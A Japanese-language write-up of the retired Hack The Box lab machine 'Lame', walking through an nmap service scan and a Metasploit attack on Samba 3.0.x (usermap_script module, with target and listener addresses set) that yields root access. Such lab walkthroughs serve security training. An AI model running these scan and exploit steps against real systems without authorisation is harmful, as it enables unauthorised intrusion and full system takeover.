概要
Hack The Box(以下HTB)のRetiredマシン"Lame"のwriteupです。
環境
HTBの課金環境のPwnboxで実行しています。
Walkthrough
1. nmapによる起動サービスの確認
ターミナルを起動し、nmapコマンドで稼働しているサービスを確認します。
nmap -Pn -T4 -sV <ターゲットのIPアドレス>
-
nmapのコマンドの意味
- -Pn: 事前のping送信をしない
- -T4: スキャン速度の指定。0~5で数字が高いほど早いがエラーが出やすい
- -sV: 動作しているサービスのバージョンを確認
-
稼働していることが確認できたサービス
- vsftpd 2.3.4
- OpenSSH
- Samba
2. msfconsoleによるexploit
msfconsole: Metasploit Frameworkのコンソールで動かすやつ。簡単操作でexploitできる
2.1 起動
ターミナルから
msfconsole
2.2 脆弱性の検索
2.2.1 vsftpdの検索
search vsftpd
- Exploit Databaseで確認してみる
https://www.exploit-db.com/exploits/17491
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
このバックドアはもう削除されているっぽい
2.2.2 sambaの検索
sambaとは…
linuxとwindowsの間でファイル共有とかするために使うソフトウェア
search samba
- sambaのバージョンを確認したいのでsambaに接続してみる
ターミナルをもう一つ起動してsmbmap -H <ターゲットのIPアドレス>
- もう一回search
msfconsoleに戻ってsearch samba 3.0.30
2.3 exploitコードのセット
use exploit/multi/samba/usermap_script
show options
set RHOSTS <ターゲットのIPアドレス>
set LHOST <攻撃マシンのIPアドレス>
2.4 実行
run
rootユーザでアクセスできてる。
flagの場所も分かったのであとはcatで表示すればOK